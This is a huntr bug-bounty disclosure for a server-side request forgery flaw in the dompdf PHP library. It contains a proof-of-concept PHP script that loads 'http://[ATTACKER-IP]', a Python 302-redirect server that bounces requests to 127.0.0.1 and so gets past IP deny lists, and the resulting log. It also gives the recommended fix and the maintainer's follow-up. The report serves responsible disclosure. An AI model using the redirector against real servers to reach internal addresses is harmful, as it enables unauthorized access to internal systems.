huntr

Server-Side Request Forgery (SSRF) in dompdf/dompdf

0

✓ Valid Reported on Jan 2nd 2022

Description

DomPDF uses file_get_contents to obtain HTTP files when allow_url_fopen is "On". On default contexts, file_get_contents will redirect whenever served with a 302 response. When developers use DomPDF with isRemoteEnabled set to "true" and allow_url_fopen set to "true", but restrict IP addresses via a deny list, it is possible for an attacker to pass in a URL which passes this deny list but serves a 302 redirect response to a restricted IP address. When this URL enters dompdf, file_get_contents() will both follow the redirection and cause an SSRF vulnerability.

Proof of Concept - allow_url_fopen is turned on

poc.php

```
<?php

//URL variable

$url = "http://[ATTACKER-IP]";

require_once 'dompdf/autoload.inc.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
```

```
$ip = gethostbyname($host);

if ($ip !== "127.0.0.1") {
    $dompdf->loadHtmlFile($url);
    $dompdf->setPaper('A4', 'landscape');
    $dompdf->render();
    $dompdf->stream();
}

?>
```

redirector.py - hosted on "http://[ATTACKER-IP]

```
#!/usr/bin/env python3

#python3 redirector.py 80 http://127.0.0.1:8000/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
   def do_GET(self):
       self.send_response(302)
       self.send_header('Location', sys.argv[2])
       self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```

Result -

```
root@test:/home/test# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [02/Jan/2022 05:38:20] "GET / HTTP/1.0" 200 -
127.0.0.1 - - [02/Jan/2022 05:38:31] "GET / HTTP/1.0" 200 -
```

Impact

Impact

On default contexts, when a developer wants to allow remote fetching in DomPDF but implements deny lists for private IP addresses, then an attacker can easily bypass the deny list by hosting a server with a 302 redirect response to an internal IP address. DomPDF will follow the redirection to the private IP address. (SSRF)

Recommended Fix

Disable file_get_contents redirection in the default context, since curl already disables it by default, this can be done by easily replacing the following default context at https://github.com/dompdf/dompdf/blob/e71dfa4b6ee733430548ebc8708e3f49909aaf8e/src/Helpers.php#L859 with

```
stream_context_create(['http' => ['follow_location' => false]]);
```

CVE
CVE-2022-0085
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
Low (3.7)

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

This report was seen 1,019 times.

We are processing your report and will contact the **dompdf** team within 24 hours. a year ago haxatron modified the report a year ago

We have contacted a member of the **dompdf** team and are waiting to hear back a year ago

A **dompdf/dompdf** maintainer validated this vulnerability a year ago

haxatron has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **dompdf/dompdf** maintainer 8 months ago

Maintainer

I implemented the suggested change within the following batch of commits:
https://github.com/dompdf/dompdf/compare/b47cfe3...cbdf99?expand=1

I'm also thinking of adding a section to the "Securing Dompdf" document regarding the importance of sanitizing (untrusted) user input.
https://github.com/dompdf/dompdf/wiki/Securing-dompdf

haxatron 8 months ago

Researcher

lgtm!

A **dompdf/dompdf** maintainer marked this as fixed in **2.0.0** with commit **bb1ef6** 5 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us